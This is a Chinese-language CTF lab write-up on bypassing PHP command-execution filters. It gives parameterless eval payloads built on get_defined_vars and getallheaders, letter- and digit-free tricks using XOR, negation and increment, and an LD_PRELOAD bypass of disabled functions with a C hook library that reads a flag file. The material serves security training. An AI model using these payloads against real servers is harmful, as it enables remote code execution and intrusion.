PHP命令执行靶场通关记录-2
字数 1248 2025-08-11 00:55:05

PHP命令执行绕过技术详解

0x10 无参命令执行绕过

基本概念

无参命令执行指过滤function(args)格式的参数,只能使用function()完成命令执行的情况。

绕过方式

1. 请求头传参

  • 利用getallheaders()函数获取请求头
  • 在请求头中传递参数,拆分需要的参数

2. 全局变量传参

  • 利用get_defined_vars()函数获取变量值
  • 通过全局变量传递参数

例题分析

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
if(preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) { 
    eval($_GET['code']); 
}

绕过步骤

  1. 使用print_r(get_defined_vars())打印当前全局变量
  2. 使用pos()函数获取数组第一个元素
    print_r(pos(get_defined_vars()));
    
  3. 通过额外参数传递命令
    code=print_r(pos(get_defined_vars()));&a=system('cat flag');
    
  4. 使用end获取末尾参数
    code=print_r(end(pos(get_defined_vars())));&a=system('cat flag');
    
  5. 最终payload
    code=eval(end(pos(get_defined_vars())));&a=system('cat flag');
    

请求头绕过方式

  1. 使用print_r(getallheaders())查看请求头
  2. 通过请求头传递命令
  3. 最终payload
    code=eval(pos(getallheaders()));
    

0x11 无字母数字命令执行

基本概念

命令执行过滤字母数字,导致无法直接使用常规函数进行命令执行。

绕过方式

1. 异或处理

  • 构造payload后,基于payload选择非字母数字的其他可见字符绕过
  • 示例:system('ls')异或后变为$

2. 取反处理

  • 对payload进行url编码
  • 传递取反后的内容
  • 示例:system('ls');取反后为$_=~('%8c%86%8c%8b%9a%92'93%8c')

3. 自增处理

  • 基于某一个字符,经过自增后确定命令使用的其他字符
  • 技巧:先定义一个array(不包含字符数字),取第一个字符A,基于该字符自增

特殊字符过滤情况

1. 过滤下划线

  • 闭合原本的php代码
  • 使用短标签方式
  • payload示例:?>...(其中...为对_GET的取反操作)

2. 过滤下划线和$

  • 不定义变量$_
  • 直接使用(~'字符串')(~'字符串')

3. 过滤;~^&|`

  • 只能采用自增的方式
  • 分号使用短标签替换

0x12 LD_PRELOAD绕过函数禁用

基本概念

LD_PRELOAD指定后,程序加载动态链接库时会优先加载该变量中指定的库。

核心要点

  • 需要能够触发库加载的函数
  • 常用函数:
    • mail()(PHP自带)
    • imagemagick(需手动安装扩展)
    • error_log

利用条件

  1. 能够上传.so文件
  2. putenv未被禁用
  3. 触发load过程的函数未被禁用

利用步骤

  1. 编译动态链接库
    #include <stdio.h>
    #include <stdlib.h>
    int getuid(){
        unsetenv("LD_PRELOAD");
        system("cat /flag>/tmp/flag");
    }
    
  2. 上传.so文件
  3. 编写调用mail函数的PHP脚本
  4. 访问PHP触发代码执行
  5. 查看/tmp下生成的flag文件

总结

PHP代码执行的难点在于:

  1. 无字母数字限制的绕过
  2. 特殊字符的过滤
  3. 需要清楚payload中的变量对应值
  4. 确保构造时不会出现问题

关键点在于灵活运用PHP的各种特性,包括但不限于:

  • 变量处理函数(get_defined_vars, getallheaders
  • 数组操作函数(pos, end
  • 位运算绕过(异或、取反)
  • 系统特性(LD_PRELOAD)
PHP命令执行绕过技术详解 0x10 无参命令执行绕过 基本概念 无参命令执行指过滤 function(args) 格式的参数,只能使用 function() 完成命令执行的情况。 绕过方式 1. 请求头传参 利用 getallheaders() 函数获取请求头 在请求头中传递参数,拆分需要的参数 2. 全局变量传参 利用 get_defined_vars() 函数获取变量值 通过全局变量传递参数 例题分析 绕过步骤 使用 print_r(get_defined_vars()) 打印当前全局变量 使用 pos() 函数获取数组第一个元素 通过额外参数传递命令 使用 end 获取末尾参数 最终payload 请求头绕过方式 使用 print_r(getallheaders()) 查看请求头 通过请求头传递命令 最终payload 0x11 无字母数字命令执行 基本概念 命令执行过滤字母数字,导致无法直接使用常规函数进行命令执行。 绕过方式 1. 异或处理 构造payload后,基于payload选择非字母数字的其他可见字符绕过 示例: system('ls') 异或后变为 $ 2. 取反处理 对payload进行url编码 传递取反后的内容 示例: system('ls'); 取反后为 $_=~('%8c%86%8c%8b%9a%92'93%8c') 3. 自增处理 基于某一个字符,经过自增后确定命令使用的其他字符 技巧:先定义一个array(不包含字符数字),取第一个字符A,基于该字符自增 特殊字符过滤情况 1. 过滤下划线 闭合原本的php代码 使用短标签方式 payload示例: ?>... (其中 ... 为对 _GET 的取反操作) 2. 过滤下划线和$ 不定义变量 $_ 直接使用 (~'字符串')(~'字符串') 3. 过滤 ;~^ &| ` 只能采用自增的方式 分号使用短标签替换 0x12 LD_ PRELOAD绕过函数禁用 基本概念 LD_PRELOAD 指定后,程序加载动态链接库时会优先加载该变量中指定的库。 核心要点 需要能够触发库加载的函数 常用函数: mail() (PHP自带) imagemagick (需手动安装扩展) error_log 利用条件 能够上传.so文件 putenv 未被禁用 触发load过程的函数未被禁用 利用步骤 编译动态链接库 上传.so文件 编写调用mail函数的PHP脚本 访问PHP触发代码执行 查看/tmp下生成的flag文件 总结 PHP代码执行的难点在于: 无字母数字限制的绕过 特殊字符的过滤 需要清楚payload中的变量对应值 确保构造时不会出现问题 关键点在于灵活运用PHP的各种特性,包括但不限于: 变量处理函数( get_defined_vars , getallheaders ) 数组操作函数( pos , end ) 位运算绕过(异或、取反) 系统特性(LD_ PRELOAD)